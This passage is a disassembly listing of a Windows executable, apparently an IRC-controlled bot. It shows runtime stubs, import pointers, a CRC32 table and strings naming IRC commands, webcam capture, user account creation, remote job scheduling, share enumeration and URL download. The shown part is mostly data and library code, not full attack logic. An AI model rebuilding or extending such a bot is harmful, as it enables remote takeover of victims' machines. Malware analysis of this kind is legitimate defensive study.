		mov	eax, esi
		pop	esi
		retn	4
sub_42987E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4298D6	proc near		; CODE XREF: sub_40ECCD+5Ep
					; sub_411B17+14Dp ...
		jmp	ds:dword_42B214
sub_4298D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4298DC	proc near		; CODE XREF: unknown_libname_2+24p
					; __global_unwind2+13p
		jmp	ds:dword_42B19C
sub_4298DC	endp

; [00000088 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup.	PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD	"+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4299C6	proc near		; CODE XREF: sub_429712+11p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_43A510
		retn
sub_4299C6	endp

; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_429A21	proc near		; CODE XREF: sub_42975C+18j
					; sub_429A44+3p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_43A510
		jz	short locret_429A36
		push	dword ptr [ecx+4] ; Memory
		call	_free
		pop	ecx

locret_429A36:				; CODE XREF: sub_429A21+Aj
		retn
sub_429A21	endp

; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_9. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_429A44(void *Memory,char)

sub_429A44	proc near		; DATA XREF: .rdata:off_43A510o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_429A21
		test	[esp+4+arg_0], 1
		jz	short loc_429A5A
		push	esi		; Memory
		call	j__free
		pop	ecx


loc_429A5A:				; CODE XREF: sub_429A44+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429A44	endp

; [00000043 BYTES: COLLAPSED FUNCTION __stricmp. PRESS KEYPAD "+" TO EXPAND]
; [00000081 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000004E BYTES: COLLAPSED FUNCTION ___ascii_stricmp.	PRESS KEYPAD "+" TO EXPAND]
; [00000259 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS	KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
; [00000225 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO	EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42A060	proc near		; DATA XREF: .rdata:stru_43A7CCo
		lea	ecx, [ebp-38h]
		jmp	loc_40F01A
sub_42A060	endp

; ---------------------------------------------------------------------------


loc_42A068:				; DATA XREF: sub_40F47Ao
		mov	eax, offset stru_43A7D4
		jmp	___CxxFrameHandler

; =============== S U B	R O U T	I N E =======================================



sub_42A072	proc near		; DATA XREF: .rdata:stru_43A7F0o
		lea	ecx, [ebp+14h]
		jmp	loc_40F01A
sub_42A072	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A07A	proc near		; DATA XREF: .rdata:stru_43A7F0o

; FUNCTION CHUNK AT 0040F01A SIZE 0000000A BYTES

		lea	ecx, [ebp-28h]
		jmp	loc_40F01A
sub_42A07A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A082	proc near		; DATA XREF: sub_40F5F6o
		mov	eax, offset stru_43A800
		jmp	___CxxFrameHandler
sub_42A082	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A08C	proc near		; DATA XREF: .rdata:stru_43A81Co
		mov	eax, dword_4E1F08
		and	eax, 0FFFFFFFEh
		mov	dword_4E1F08, eax
		retn
sub_42A08C	endp

; ---------------------------------------------------------------------------


loc_42A09A:				; DATA XREF: sub_41B802o
		mov	eax, offset stru_43A824
		jmp	___CxxFrameHandler

; =============== S U B	R O U T	I N E =======================================



sub_42A0A4	proc near		; DATA XREF: .rdata:stru_43A8FCo
		mov	ecx, [ebp-10h]
		jmp	sub_429A21
sub_42A0A4	endp

; ---------------------------------------------------------------------------


loc_42A0AC:				; DATA XREF: sub_429712o sub_429823o
		mov	eax, offset stru_43A904
		jmp	___CxxFrameHandler

; =============== S U B	R O U T	I N E =======================================



sub_42A0B6	proc near		; DATA XREF: .rdata:stru_43A95Co
		lea	ecx, [ebp-28h]
		jmp	loc_40F01A
sub_42A0B6	endp

; ---------------------------------------------------------------------------


loc_42A0BE:				; DATA XREF: sub_4297E3o sub_42987Eo
		mov	eax, offset stru_43A964
		jmp	___CxxFrameHandler

; =============== S U B	R O U T	I N E =======================================



sub_42A0C8	proc near		; DATA XREF: .data:0043C008o
		push	0FFFFh
		push	539h
		call	sub_41B325
		pop	ecx
		pop	ecx
		mov	dword_4D1FE4, eax
		retn
sub_42A0C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A0DF	proc near		; DATA XREF: .data:0043C00Co
		push	0FFFEh
		push	400h
		call	sub_41B325
		pop	ecx
		pop	ecx
		mov	dword_4D525C, eax
		retn
sub_42A0DF	endp

_text		ends

; Section 2. (virtual address 0002B000)
; Virtual size			: 00010448 (  66632.)
; Section size in file		: 00010448 (  66632.)
; Offset to raw	data for section: 0002B000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 42B000h
dword_42B000	dd 77E75CB5h		; DATA XREF: sub_40110F+DFr
					; sub_40274D+2D16r ...
dword_42B004	dd 77E77963h		; DATA XREF: sub_40110F+B8r
					; WinMain(x,x,x,x)+2C5r ...
dword_42B008	dd 77E61BB8h		; DATA XREF: sub_40110F+A7r
					; sub_40274D+6651r ...
dword_42B00C	dd 77E7A099h		; DATA XREF: sub_40110F+83r
					; sub_40274D+1E67r ...
dword_42B010	dd 77E704FCh		; DATA XREF: sub_40110F+74r
					; sub_40274D+1FADr ...
dword_42B014	dd 77E61BE6h		; DATA XREF: sub_40110F+29r
					; sub_40123B+93r ...
dword_42B018	dd 77E805D8h		; DATA XREF: sub_4012D6+13Ar
					; sub_4012D6:loc_4017E4r ...
dword_42B01C	dd 77F5157Dh		; DATA XREF: sub_4012D6:loc_4013F6r
					; sub_4012D6:loc_401520r ...
dword_42B020	dd 77E7A5FDh		; DATA XREF: sub_4012D6+11r
					; sub_419FFD+5Fr ...
dword_42B024	dd 77E79F93h		; DATA XREF: sub_4012D6+2r
					; WinMain(x,x,x,x)+CFr	...
dword_42B028	dd 77E75CEBh		; DATA XREF: sub_40274D+7721r
					; sub_40AF6E+27r ...
dword_42B02C	dd 77E73628h		; DATA XREF: sub_40274D+7493r
					; WinMain(x,x,x,x)+325r ...
dword_42B030	dd 77E6AD34h		; DATA XREF: sub_40274D+6697r
					; sub_41AEDD+35r
dword_42B034	dd 77E71AFEh		; DATA XREF: sub_40274D+6484r
dword_42B038	dd 77E7751Ah		; DATA XREF: sub_40274D+236Dr
					; sub_40274D+2F80r ...
dword_42B03C	dd 77E7AC37h		; DATA XREF: sub_40274D+705r
					; sub_40274D+93Br ...
dword_42B040	dd 77E706B7h		; DATA XREF: WinMain(x,x,x,x)+25Er
					; sub_419B8C+15r ...
dword_42B044	dd 77E80656h		; DATA XREF: WinMain(x,x,x,x)+251r
					; ___security_init_cookie+27r
dword_42B048	dd 77E6BD13h		; DATA XREF: WinMain(x,x,x,x):loc_40A417r
					; sub_40FDC3+E1r ...
dword_42B04C	dd 77E70396h		; DATA XREF: WinMain(x,x,x,x)+1AEr
					; WinMain(x,x,x,x)+20Br ...
dword_42B050	dd 77E74CABh		; DATA XREF: WinMain(x,x,x,x)+197r
					; sub_412B2A+10Fr ...
dword_42B054	dd 77E79D5Bh		; DATA XREF: WinMain(x,x,x,x)+6Br
					; WinMain(x,x,x,x)+2FBr ...
dword_42B058	dd 77E7C2C4h		; DATA XREF: WinMain(x,x,x,x)+64r
dword_42B05C	dd 77E65F4Ch		; DATA XREF: .text:0040A93Br
					; sub_41BE8A+34r
dword_42B060	dd 77E7513Ch		; DATA XREF: .text:0040A9A8r
					; ___ansicp+20r
dword_42B064	dd 77E7C657h		; DATA XREF: .text:0040AA18r
					; sub_41B065+32r ...
dword_42B068	dd 77E73C49h		; DATA XREF: sub_40B186+43r
					; sub_40BCF3+204r ...
dword_42B06C	dd 77F7E300h		; DATA XREF: sub_40BCF3+12Cr
dword_42B070	dd 77F7E21Fh		; DATA XREF: sub_40BCF3+C7r
dword_42B074	dd 77E7C706h		; DATA XREF: sub_40BEFE+79r
dword_42B078	dd 77F53275h		; DATA XREF: sub_40BEFE+6Dr
					; sub_40BEFE+246r
dword_42B07C	dd 77E77CCEh		; DATA XREF: sub_40C89B+61r
					; sub_40C979+61r ...
dword_42B080	dd 77E78B82h		; DATA XREF: .text:0040CD7Cr
					; sub_41150A+25r ...
dword_42B084	dd 77E79D8Ch		; DATA XREF: .text:0040CD47r
					; .text:0041063Fr ...
dword_42B088	dd 77E73EACh		; DATA XREF: .text:0040CD2Dr
					; .text:00410623r
dword_42B08C	dd 77E7A837h		; DATA XREF: .text:0040CCAFr
					; .text:004105EBr ...
dword_42B090	dd 77E79924h		; DATA XREF: sub_40F87A+A9r
					; sub_4100AE+110r ...
dword_42B094	dd 77E616B4h		; DATA XREF: sub_411555+198r
					; sub_414056+119r ...
dword_42B098	dd 77E79CE3h		; DATA XREF: sub_411555+111r
					; sub_413CD4+73r ...
dword_42B09C	dd 77E79C90h		; DATA XREF: sub_411555+FDr
					; sub_411555+10Ar ...
dword_42B0A0	dd 77E7727Ah		; DATA XREF: sub_411555+74r
					; sub_413F5A+48r ...
dword_42B0A4	dd 77E78EAAh		; DATA XREF: sub_412135+5EDr
					; sub_419799+C0r ...
dword_42B0A8	dd 77E79424h		; DATA XREF: sub_412135+27Ar
					; sub_419B8C+12Dr
dword_42B0AC	dd 77E794BFh		; DATA XREF: sub_412135+26Cr
					; sub_419B8C+11Br
dword_42B0B0	dd 77E75E67h		; DATA XREF: sub_412135+20Cr
					; sub_412135+5DCr ...
dword_42B0B4	dd 77E75D9Eh		; DATA XREF: sub_412135+1FBr
					; sub_419799+26r
dword_42B0B8	dd 77E78C81h		; DATA XREF: sub_4127B6+6Cr
					; sub_418956+255r ...
dword_42B0BC	dd 77E793EFh		; DATA XREF: sub_4127B6+38r
					; sub_412B2A+1EDr ...
dword_42B0C0	dd 77E64106h		; DATA XREF: sub_4129C2+9Br
					; sub_41D779+185r
dword_42B0C4	dd 77E64006h		; DATA XREF: sub_4129C2+87r
					; sub_41D779+16Er
dword_42B0C8	dd 77E76968h		; DATA XREF: sub_413A51+61r
dword_42B0CC	dd 77EC7C51h		; DATA XREF: sub_413E45+4Dr
dword_42B0D0	dd 77E74C59h		; DATA XREF: sub_414056+CBr
dword_42B0D4	dd 77E70F89h		; DATA XREF: sub_414B1C+Er
					; sub_417D70+Dr
dword_42B0D8	dd 77E802FCh		; DATA XREF: sub_415825+188r
					; sub_415825+1FAr ...
dword_42B0DC	dd 77E6D75Bh		; DATA XREF: sub_415825+17Er
					; sub_4164A9+FBr
dword_42B0E0	dd 77F51597h		; DATA XREF: sub_419A03+41r
					; sub_419A03+F5r ...
dword_42B0E4	dd 77F516F8h		; DATA XREF: sub_419A03+21r
					; sub_419B8C+4Ar ...
dword_42B0E8	dd 77E77CB7h		; DATA XREF: sub_419A03+10r
					; sub_419B8C+40r ...
dword_42B0EC	dd 77E7F01Ah		; DATA XREF: sub_419B8C+88r
					; sub_419D2A+53r
dword_42B0F0	dd 77E61A54h		; DATA XREF: sub_419B8C+53r
					; sub_419D2A+8Dr
dword_42B0F4	dd 77E7C3A5h		; DATA XREF: sub_419B8C+34r
					; sub_419D2A+2Cr ...
dword_42B0F8	dd 77E80618h		; DATA XREF: sub_419FFD+16Fr
					; sub_41B24B+B6r
dword_42B0FC	dd 77E78147h		; DATA XREF: sub_419FFD+BBr
dword_42B100	dd 77E76A60h		; DATA XREF: sub_41ACD0+2Dr
dword_42B104	dd 77E71B14h		; DATA XREF: sub_41AD5A+26r
dword_42B108	dd 77E7166Fh		; DATA XREF: sub_41AD5A+1Dr
dword_42B10C	dd 77E75090h		; DATA XREF: sub_41AD95+69r
dword_42B110	dd 77E74D76h		; DATA XREF: sub_41AD95+36r
dword_42B114	dd 77E77797h		; DATA XREF: sub_41AD95+25r
dword_42B118	dd 77E7011Ah		; DATA XREF: sub_41AE17+96r
dword_42B11C	dd 77E73CE2h		; DATA XREF: sub_41AE17+60r
dword_42B120	dd 77E668D9h		; DATA XREF: sub_41AEDD+15Dr
dword_42B124	dd 77E76A2Eh		; DATA XREF: sub_41C444+D5r
dword_42B128	dd 77E7FF65h		; DATA XREF: sub_41C87C+3Br
dword_42B12C	dd 77EB7624h		; DATA XREF: sub_41C87C+21r
dword_42B130	dd 77E6C29Dh		; DATA XREF: sub_41CEAF+1ECr
dword_42B134	dd 77E76C1Ah		; DATA XREF: sub_41D779+19Er
dword_42B138	dd 77E775F1h		; DATA XREF: __ValidateEH3RN+131r
					; __ValidateEH3RN+196r	...
dword_42B13C	dd 77E7176Ch		; DATA XREF: _ValidateExecute(int (*)(void))+8r
dword_42B140	dd 77E7339Ch		; DATA XREF: sub_4281D4+Cr
dword_42B144	dd 77F522F2h		; DATA XREF: __msize+30r
dword_42B148	dd 77E77CC4h		; DATA XREF: ___security_init_cookie+2Fr
dword_42B14C	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+24r
					; ___crtGetStringTypeA+128r ...
dword_42B150	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+19Cr
					; ___crtGetStringTypeW+1CDr
dword_42B154	dd 77E73FF9h		; DATA XREF: unknown_libname_6+2Cr
dword_42B158	dd 77E7FF2Eh		; DATA XREF: __set_osfhnd:loc_4268CBr
					; __free_osfhnd:loc_426945r
dword_42B15C	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA+Br
dword_42B160	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+C1r
dword_42B164	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_426793r
dword_42B168	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+113r
dword_42B16C	dd 77EB9A84h		; DATA XREF: __XcptFilter+167r
dword_42B170	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+27r
					; ___crtLCMapStringA+15Br ...
dword_42B174	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+2C3r
					; ___crtLCMapStringA+344r ...
dword_42B178	dd 77E7F044h		; DATA XREF: __resetstkoflw+1Ar
					; __resetstkoflw+71r ...
dword_42B17C	dd 77E6169Ah		; DATA XREF: __resetstkoflw+D5r
dword_42B180	dd 77E7C9E7h		; DATA XREF: sub_4255AA+5r
					; sub_4255BD+6r
dword_42B184	dd 77E78406h		; DATA XREF: __ioinit+FEr
					; __ioinit+165r ...
dword_42B188	dd 77E79C3Dh		; DATA XREF: __ioinit+157r
					; __NMSG_WRITE+14Er
dword_42B18C	dd 77E7C931h		; DATA XREF: __ioinit+19Cr
dword_42B190	dd 77E7849Fh		; DATA XREF: _setSBUpLow+1Cr
					; __setmbcp+93r ...
dword_42B194	dd 77F5722Fh		; DATA XREF: _realloc+FDr
					; _realloc+13Dr ...
dword_42B198	dd 77E6167Bh		; DATA XREF: _time+9r
					; ___security_init_cookie+1Br
dword_42B19C	dd 77F6183Eh		; DATA XREF: sub_4298DCr
dword_42B1A0	dd 77E6D706h		; DATA XREF: _CxxThrowException(x,x)+2Er
					; __raise_exc+1F5r
dword_42B1A4	dd 77E6177Ah		; DATA XREF: start+160r __ioinit+57r
dword_42B1A8	dd 77E7C938h		; DATA XREF: start:loc_420E19r
dword_42B1AC	dd 77E76E0Bh		; DATA XREF: __heap_init+44r
dword_42B1B0	dd 77E7C726h		; DATA XREF: __heap_init+11r
dword_42B1B4	dd 77E79E34h		; DATA XREF: ___sbh_free_block+22Fr
dword_42B1B8	dd 77E7980Ah		; DATA XREF: ___sbh_alloc_new_region+7Er
					; ___sbh_alloc_new_group+52r ...
dword_42B1BC	dd 77E73196h		; DATA XREF: sub_4281F0+Cr
dword_42B1C0	dd 77E7A13Fh		; DATA XREF: __setmbcp+42r
dword_42B1C4	dd 77E6C703h		; DATA XREF: __setmbcp+2Br
dword_42B1C8	dd 77E70192h		; DATA XREF: __chsize+104r
		align 10h
dword_42B1D0	dd 71AB5A01h		; DATA XREF: sub_41776E+22r
dword_42B1D4	dd 71AB4122h		; DATA XREF: sub_417688+CDr
dword_42B1D8	dd 71AB1746h		; DATA XREF: sub_41549E+198r
					; sub_41549E+1A7r
dword_42B1DC	dd 71AB401Ch		; DATA XREF: sub_41549E+1D3r
					; sub_41549E+1FAr
dword_42B1E0	dd 71AB3F8Dh		; DATA XREF: sub_411B17+5Cr
dword_42B1E4	dd 71AB155Ah		; DATA XREF: sub_411B17+8Fr
					; sub_416311+6Er ...
dword_42B1E8	dd 71AB3ECEh		; DATA XREF: sub_411B17+B9r
dword_42B1EC	dd 71AB5DE2h		; DATA XREF: sub_411B17+CAr
dword_42B1F0	dd 71AB868Dh		; DATA XREF: sub_411B17+174r
dword_42B1F4	dd 71AB3E5Dh		; DATA XREF: sub_411A00+57r
					; sub_416311+88r ...
dword_42B1F8	dd 71AB1A6Dh		; DATA XREF: sub_411A00+68r
					; sub_411A7D+88r ...
dword_42B1FC	dd 71AB1836h		; DATA XREF: sub_411A00+6Er
					; sub_411A7D+8Er
dword_42B200	dd 71AB1746h		; DATA XREF: sub_410BF8+4Ar
					; sub_411A00+41r ...
dword_42B204	dd 71AB41DAh		; DATA XREF: .text:004106DFr
					; sub_411A00+15r ...
dword_42B208	dd 71AB5690h		; DATA XREF: .text:0040FC17r
					; sub_411B17+1D6r
dword_42B20C	dd 71AB3C22h		; DATA XREF: .text:0040F780r
					; sub_411A00+21r ...
dword_42B210	dd 71AB1AF4h		; DATA XREF: sub_40EE6B+12r
					; sub_410BF8+15Er ...
dword_42B214	dd 71AB1B7Bh		; DATA XREF: sub_4298D6r
dword_42B218	dd 71AB12F8h		; DATA XREF: .text:0040D16Br
					; sub_411A00+35r ...
dword_42B21C	dd 71AB1890h		; DATA XREF: .text:0040D6E3r
					; sub_40ECCD+4Cr ...
dword_42B220	dd 71AB157Eh		; DATA XREF: sub_40274D+2D73r
		align 10h
dword_42B230	dd 0			; DATA XREF: sub_401071+1Fr
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
; char aRb[]
aRb		db 'rb',0               ; DATA XREF: sub_40109F+Bo
					; sub_411A7D+24o ...
; char byte_42B633
byte_42B633	db 0			; DATA XREF: sub_40110F+62o
					; sub_40274D+1CFDo ...
; char Format[]
Format		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40123B+58o
; char aS[]
aS		db '%s',0               ; DATA XREF: sub_40123B+35o
					; sub_40274D+659o ...
		align 4
; char aPrivmsg[]
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40123B+16o
					; sub_40274D+592o
; char Str[]
Str		db 'NOTICE',0           ; DATA XREF: sub_40123B+Fo
					; sub_40274D+5A1o
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4012D6+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4012D6+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4012D6:loc_401F40o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4012D6+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4012D6+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4012D6+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4012D6+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4012D6+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4012D6+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4012D6:loc_401EA2o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4012D6+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4012D6+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4012D6:loc_401E58o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4012D6+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4012D6+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4012D6+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4012D6+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4012D6:loc_401DE4o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4012D6+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4012D6+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4012D6:loc_401D9Ao
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4012D6+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4012D6+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4012D6:loc_401D50o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_4012D6+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4012D6+9ECo
					; sub_41B24B+47o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4012D6+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4012D6+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4012D6+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4012D6+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4012D6+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4012D6+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4012D6+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4012D6+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4012D6+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4012D6+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4012D6:loc_401C34o
					; sub_41B24B+3Ao
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4012D6+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4012D6+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4012D6+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4012D6:loc_401BD5o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4012D6+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4012D6+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4012D6+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4012D6+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4012D6+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4012D6+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4012D6+81Fo
		align 4
